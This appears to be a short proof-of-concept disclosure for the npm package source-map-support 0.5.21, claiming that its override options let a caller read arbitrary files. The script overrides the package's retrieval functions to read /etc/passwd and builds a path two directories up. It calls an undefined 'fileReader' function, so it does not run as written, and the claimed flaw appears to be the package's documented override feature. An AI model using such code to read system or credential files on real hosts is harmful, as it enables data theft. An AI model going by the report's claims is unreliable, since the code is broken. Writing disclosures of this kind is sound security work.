Package source-map-support: Possible to inject custom file-reading functions to the package and read an arbitrary file.

source-map-support-0.5.21_poc.js

'use strict'

const path = require('path');
const pkg = require('source-map-support');

/*
 * Possible to use 'options' to override internal functions of the package.
 * For example to retrieve contents of a file that is two directories above the current one.
 */
const options = {
    overrideRetrieveSourceMap: true,
    retrieveSourceMap: function(src) { return fileReader('/etc/passwd') },
    overrideRetrieveFile: true,
    retrieveFile: function(src) { return fileReader('/etc/passwd') },
}

pkg.install(options);

const targetPath = path.join(__dirname, '..', '..', 'exploited.txt');
const retData = pkg.retrieveSourceMap(targetPath);

/*
 * This will output the contents of the file.
 */
console.log(retData);